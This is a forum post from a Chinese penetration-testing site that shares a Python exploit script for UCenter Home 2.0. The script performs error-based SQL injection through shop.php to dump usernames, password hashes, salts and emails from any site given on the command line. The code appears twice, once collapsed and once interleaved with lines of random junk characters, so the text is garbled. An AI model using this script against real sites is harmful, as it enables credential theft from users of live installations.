中国网络渗透测试联盟
标题:
UCenter Home 2.0 EXP
[打印本页]
作者:
admin
时间:
2013-1-23 09:18
标题:
UCenter Home 2.0 EXP
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:
http://www.exploit-db.com/exploits/14997/'
print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
4 {$ _' X& C5 B6 V$ Y
, A- r+ H! x% @* Y5 t" S
6 e1 }3 S' }: x5 z5 x. e2 K: g
#!/usr/bin/env python
h$ n8 B9 |3 _+ E; W$ @
: @& G5 Z/ G+ \) |1 C
import sys
; m" G& }$ f V2 e
import urllib2
; d' `% R. _' V9 G# W, m
import re
+ u# v2 \2 k& n: T; T
% v, l; t% _ u
def info():
( R2 F9 u' U* C9 O
print 'From:
http://www.exploit-db.com/exploits/14997/'
" x8 P; @7 G2 b# ~
print 'http://www.hake.cc/Web_loudong/'
; C& [- d' b9 Y' s5 z7 Z3 @- v
print 'changed:qiaoy'
% e" o1 I$ N3 F" P X' D/ W1 A
print 'exp:'
" w! D* V8 M3 W* R, l
print ' ./UCenter_Home_2.0.py site'
: Q# p+ @$ G. g5 U
_) R# Z; `3 L
def main():
0 D7 X7 A% a8 |; h9 N
if len(sys.argv) != 2:
7 {- I' t5 I Y
info()
7 M: Y) j3 D2 N1 ? ^+ W& M
else:
* _8 \+ l$ n! N7 v/ X; p
site = sys.argv[1]
, ~0 ?+ } C6 Q
if site[0:7] == 'http://':
0 v2 z& j5 {$ D5 w9 q, j2 N
sitesite =site
* C& u& a6 u& y$ W# {' T9 b- H
elif site[0:8] == 'https://':
, R( d! R0 }7 q# ^, x2 I) c! s, d
sitesite = site
3 i" h" a$ {4 D U
else:
. @2 i, d& O' u$ _+ z
site = 'http://'+site
2 P$ j$ {0 T8 P3 W# w/ x5 ]
try:
0 \2 h8 }6 O9 h. U) v
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
# V T# I. C; H: \$ b2 p
Value = urllib2.urlopen(url).read()
! D" k! L) U# H) C+ B
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
' t5 U5 T- i( K
hacked = Msg.split(':')
0 Z ^, a, t; N
print 'Name: '+hacked[1]
( i4 G: `5 ?" y
print 'Passwd: '+hacked[2]
' Y1 [# G% e* T" F9 ?7 u% l
print 'salt: '+hacked[3]
7 v1 y% k! g# t* ^ @
print 'email: '+hacked[4]
t( o* F+ ^7 X# {
except:
: y$ k7 D* r" W$ a7 @4 [
print 'Sorry,I can\'t work............'
2 d0 M2 A0 q5 e$ H F
& V6 V' G, u& @
if __name__ == '__main__':
! p9 V! l/ ^$ i& G$ V1 O! k. Z' ?) {
main()
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2